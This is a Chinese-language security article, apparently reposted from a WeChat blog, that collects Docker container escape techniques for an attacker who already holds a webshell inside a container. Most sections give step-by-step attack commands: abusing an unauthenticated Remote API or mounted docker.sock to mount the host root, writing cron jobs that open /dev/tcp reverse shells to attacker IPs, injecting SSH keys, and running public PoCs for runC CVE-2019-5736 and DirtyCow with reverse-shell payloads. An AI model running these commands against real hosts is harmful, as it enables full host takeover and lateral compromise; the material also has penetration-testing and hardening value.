技术干货 | Docker 容器逃逸案例汇集

女生的网名这么多〃 提交于 2020-11-21 23:52:37

当获得一个Webshell,我们的攻击点可能处于服务器的一个虚拟目录里,一台虚拟机或是一台物理机,甚至是在一个Docker容器里。

假设,Webshell就处于Docker容器里,该如何破局,进一步获取目标主机权限呢?


Docker 容器逃逸案例:

1、判断是否处于docker容器里

2、配置不当引起的逃逸

  • Docker Remote API 未授权访问

  • docker.sock 挂载到容器内部

  • docker 高危启动参数

    • privileged 特权模式

    • 挂载敏感目录

    • 相关启动参数存在的安全问题

3、Docker 软件设计引起的逃逸

  • Shocker攻击

  • runC容器逃逸漏洞(CVE-2019-5736)

  • Docker cp 命令(CVE-2019-14271)

4、内核漏洞引起的逃逸

  • 脏牛漏洞(dirtycow-docker-vdso)


 

一、判断是否在docker容器里

首先,我们需要先判断是否在docker环境里,常用的两个检测方式:

检查/.dockerenv文件是否存在检查/proc/1/cgroup内是否包含"docker"等字符串。

目前来说,这两种检测方式还是比较有效的,其他检测方式,如检测mountfdisk -l查看硬盘 判断PID 1的进程名等也可用来辅助判断。

二、配置不当引发的docker逃逸

2.1  docker remote api未授权访问

漏洞简述:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

通过docker daemon api 执行docker命令。

#列出容器信息,效果与docker ps一致。curl http://<target>:2375/containers/json
#启动容器docker -H tcp://<target>:2375 ps -a

漏洞利用:

1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

3、本地监听端口,获取对方宿主机shell。


2.2 docker.sock挂载到容器内部

场景描述:简单来说就是docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中,具体为:

docker run --rm -it \  -v /var/run/docker.sock:/var/run/docker.sock \  -v /usr/bin/docker:/usr/bin/docker \  ubuntu \  /bin/bash

漏洞测试:

1、在容器中找到docker.sock

root@95a280bc5a19:/# find / -name docker.sock/run/docker.sock

2、在容器查看宿主机docker信息:

docker -H unix:///var/run/docker.sock info

3、运行一个新容器并挂载宿主机根路径:

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

4、在新容器的/test 目录下,就可以访问到宿主机的全部资源,接下来就是写入ssh密钥或者写入计划任务,获取shell。

ls -al /test


2.3 docker 高危启动参数

docker中存在一些比较高危的启动命令,给予容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。

docker run --rm -it     --privileged     -v /:/soft     --cap-add=SYS_ADMIN     --net=host      --pid=host        --ipc=host     ubuntu     /bin/bash

特权模式(—privileged)

使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

漏洞测试:

A、通过特权模式运行一个容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

B、在容器内,查看磁盘文件

fdisk -l

C、将/dev/sda1 挂载到新建目录

mkdir /testmount /dev/sda1 /test

D、将计划任务写入到宿主机

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.172.136/12345 0>&1' >> /test/var/spool/cron/crontabs/root

E、开启nc监听,成功获取宿主机反弹回来的shell。


挂载敏感目录(-v /:/soft)

漏洞测试:

1、将宿主机root目录挂载到容器

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

2、模拟攻击者写入ssh密钥

mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

3、利用私钥成功登录。获取宿主机权限。


相关启动参数存在的安全问题:

Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

--cap-add=SYS_ADMIN  启动时,允许执行mount特权操作,需获得资源挂载进行利用。--net=host           启动时,绕过Network Namespace--pid=host              启动时,绕过PID Namespace--ipc=host              启动时,绕过IPC Namespace

 

三、Docker 软件设计引起的逃逸

3.1 Shocker 攻击

在容器逃逸案例中,最为著名的是shocker攻击,其通过调用open_by_handle_at函数对宿主机文件系统进行暴力扫描,以获取宿主机的目标文件内容。由于Docker1.0之前版本对容器能力(Capability)使用黑名单策略进行管理,并没有限制CAP_DAC_READ_SEARCH能力,赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生。

漏洞影响版本:Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。

github项目地址:

https://github.com/gabrtv/shocker

3.2 runC容器逃逸漏洞(CVE-2019-5736)

漏洞简述:

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

利用条件:

Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况。

漏洞测试:

1、测试环境镜像下载安装:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本,编译

下载pocgit clone https://github.com/Frichetten/CVE-2019-5736-PoC
#修改Payloadvi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"
编译生成payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
拷贝到docker容器中执行 sudo docker cp ./main 248f8b7d3c45:/tmp

3、模仿攻击者,在容器中执行payload

# 进入容器sudo docker exec -it 248f8b7d3c45 /bin/bash
# 修改权限chmod 777 main
# 执行Payload./main

4、假设,管理员通过exec进入容器,从而触发Payload。

sudo docker exec -it  cafa20cfb0f9 /bin/sh

5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell


3.3 Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)

漏洞描述:

当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。黑客可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:Docker 19.03.0

安全版本:升级至安全版本 Docker 19.03.1及以上。


四、内核漏洞引起的逃逸

4.1 利用DirtyCow漏洞实现Docker逃逸

漏洞简述:

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。

漏洞测试:

1、环境准备:

docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。这里,我们使用ubuntu-14.04.5来复现。

2、测试容器下载并运行:

git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash

3、进入容器,编译POC并执行:

cd /dirtycow-vdso/make./0xdeadbeef 192.168.172.136:1234

4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

加入我的知识星球,获取更多安全干货。

本文分享自微信公众号 - Bypass(Bypass--)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!